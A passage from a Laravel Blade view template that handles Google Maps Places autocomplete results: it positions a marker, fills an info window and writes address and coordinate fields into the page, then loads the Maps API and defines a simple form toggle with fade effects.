                        map.fitBounds(place.geometry.viewport);


                    } else {


                        map.setCenter(place.geometry.location);


                        map.setZoom(17);


                    }


                    /*


                    marker.setIcon(({


                        url: place.icon,


                        size: new google.maps.Size(71, 71),


                        origin: new google.maps.Point(0, 0),


                        anchor: new google.maps.Point(17, 34),


                        scaledSize: new google.maps.Size(35, 35)


                    }));


                    */


                    marker.setPosition(place.geometry.location);


                    marker.setVisible(true);





                    var address = '';


                    if (place.address_components) {


                        address = [


                            (place.address_components[0] && place.address_components[0].short_name || ''),


                            (place.address_components[1] && place.address_components[1].short_name || ''),


                            (place.address_components[2] && place.address_components[2].short_name || '')


                        ].join(' ');


                    }





                    infowindow.setContent('<div><strong>' + place.name + '</strong><br>' + address);


                    infowindow.open(map, marker);





                    //Location details


                    for (var i = 0; i < place.address_components.length; i++) {


                        if (place.address_components[i].types[0] == 'postal_code') {


                            document.getElementById('postal_code').innerHTML = place.address_components[i].long_name;


                        }


                        if (place.address_components[i].types[0] == 'country') {


                            document.getElementById('country').innerHTML = place.address_components[i].long_name;


                        }


                    }


                    document.getElementById('location').innerHTML = place.formatted_address;


                    document.getElementById(id_format + 'latitude').value = place.geometry.location.lat();


                    document.getElementById(id_format + 'longitude').value = place.geometry.location.lng();


                });





            }


        </script>





        <script


            src="https://maps.googleapis.com/maps/api/js?key={{ env('MAP_API_KEY') }}&libraries=places&language=en&callback=initialize"


            async defer></script>


    @endif


@endsection


<script>


    function toggleForm() {


        var form = document.getElementById('formId'); // Replace 'formId' with your form's ID





        // Toggle the display and add a fade effect


        if (form.style.display === 'none' || form.style.display === '') {


            form.style.opacity = '0'; // Start with opacity 0


            form.style.display = 'block';


            fadeIn(form);


        } else {


            form.style.opacity = '1'; // Start with opacity 1


            fadeOut(form);


        }


    }





    function fadeIn(element) {


        var opacity = 0;


        var interval = setInterval(function() {


            if (opacity < 1) {


                opacity += 0.1;


                element.style.opacity = opacity;


            } else {


                clearInterval(interval);


            }


        }, 50);


    }





    function fadeOut(element) {


        var opacity = 1;


        var interval = setInterval(function() {


            if (opacity > 0) {


                opacity -= 0.1;


                element.style.opacity = opacity;


            } else {


                element.style.display = 'none';


                clearInterval(interval);


            }


        }, 25);


    }


</script>